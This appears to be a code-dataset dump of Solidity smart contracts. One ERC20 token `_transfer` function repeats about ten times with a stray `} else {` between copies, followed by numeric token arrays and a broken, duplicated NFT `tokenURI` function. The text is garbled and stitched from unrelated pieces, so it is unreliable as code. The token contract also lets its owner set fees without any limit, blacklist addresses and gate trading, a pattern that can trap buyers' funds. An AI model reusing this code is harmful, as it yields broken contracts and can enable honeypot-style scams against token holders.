require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
} else {
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
} | 7,964,054 | [
1,
38,
9835,
30174,
55,
1165,
30174,
8176,
30174,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
348,
2135,
1101,
6860,
353,
1772,
16,
467,
654,
39,
3462,
16,
14223,
6914,
288,
203,
377,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
533,
3238,
5381,
389,
529,
273,
315,
55,
2135,
1101,
657,
89,
14432,
203,
565,
533,
3238,
5381,
389,
7175,
273,
315,
55,
2135,
1101,
14432,
203,
565,
2254,
28,
3238,
5381,
389,
31734,
273,
2468,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
86,
5460,
329,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
88,
5460,
329,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
3238,
389,
291,
16461,
1265,
14667,
31,
203,
565,
2254,
5034,
3238,
5381,
4552,
273,
4871,
11890,
5034,
12,
20,
1769,
203,
565,
2254,
5034,
3238,
5381,
389,
88,
5269,
273,
2130,
12648,
2787,
380,
1728,
636,
29,
31,
203,
565,
2254,
5034,
3238,
389,
86,
5269,
273,
261,
6694,
300,
261,
6694,
738,
389,
88,
5269,
10019,
203,
565,
2254,
5034,
3238,
389,
88,
14667,
5269,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
12311,
14667,
1398,
38,
9835,
273,
890,
31,
203,
565,
2254,
5034,
3238,
389,
8066,
14667,
1398,
38,
9835,
273,
2468,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
12311,
14667,
1398,
55,
1165,
273,
890,
31,
203,
565,
2254,
5034,
3238,
389,
8066,
14667,
1398,
55,
1165,
273,
2468,
31,
203,
377,
2
] |
./full_match/1/0xf917147d8ED7b57C107D36576f4cCDe410ae29B6/sources/contracts/DToken.sol | * @dev Returns the address of the lending pool where this aToken is used/ | function POOL() public view returns (IMoneyPool) {
return _moneyPool;
}
| 9,716,177 | [
1,
1356,
326,
1758,
434,
326,
328,
2846,
2845,
1625,
333,
279,
1345,
353,
1399,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
13803,
1741,
1435,
1071,
1476,
1135,
261,
3445,
265,
402,
2864,
13,
288,
203,
565,
327,
389,
2586,
402,
2864,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x603AF458e784A90b752f29D5F53AAf1c5ba3a987/sources/contracts/SuiCityPassports.sol | bool onlyWhitelists | contract Sgd is ERC721Drop {
constructor(
string memory _name,
string memory _symbol,
address _royaltyRecipient,
uint128 _royaltyBps,
address _primarySaleRecipient
function tokenURI(
uint256 _tokenId
pragma solidity ^0.8.0;
) ERC721Drop(_name, _symbol, msg.sender, 0, msg.sender) {}
) public pure override returns (string memory) {
string
string[1] memory temp = ["0000000000000000000000000000000"];
string[1] memory parts;
for (uint256 i = 0; i < 1; i++) {
parts[i] = string(
abi.encodePacked(
'<text x="10" y="',
toString(i * 10),
'" class="base">',
temp[i],
"</text>"
)
);
}
for (uint256 i = 0; i < parts.length; i++) {
output = string(abi.encodePacked(output, parts[i]));
}
output = string(abi.encodePacked(output, "</svg>"));
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Bag #',
toString(_tokenId),
'", "description": "Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
) public pure override returns (string memory) {
string
string[1] memory temp = ["0000000000000000000000000000000"];
string[1] memory parts;
for (uint256 i = 0; i < 1; i++) {
parts[i] = string(
abi.encodePacked(
'<text x="10" y="',
toString(i * 10),
'" class="base">',
temp[i],
"</text>"
)
);
}
for (uint256 i = 0; i < parts.length; i++) {
output = string(abi.encodePacked(output, parts[i]));
}
output = string(abi.encodePacked(output, "</svg>"));
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Bag #',
toString(_tokenId),
'", "description": "Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
) public pure override returns (string memory) {
string
string[1] memory temp = ["0000000000000000000000000000000"];
string[1] memory parts;
for (uint256 i = 0; i < 1; i++) {
parts[i] = string(
abi.encodePacked(
'<text x="10" y="',
toString(i * 10),
'" class="base">',
temp[i],
"</text>"
)
);
}
for (uint256 i = 0; i < parts.length; i++) {
output = string(abi.encodePacked(output, parts[i]));
}
output = string(abi.encodePacked(output, "</svg>"));
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Bag #',
toString(_tokenId),
'", "description": "Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
) public pure override returns (string memory) {
string
string[1] memory temp = ["0000000000000000000000000000000"];
string[1] memory parts;
for (uint256 i = 0; i < 1; i++) {
parts[i] = string(
abi.encodePacked(
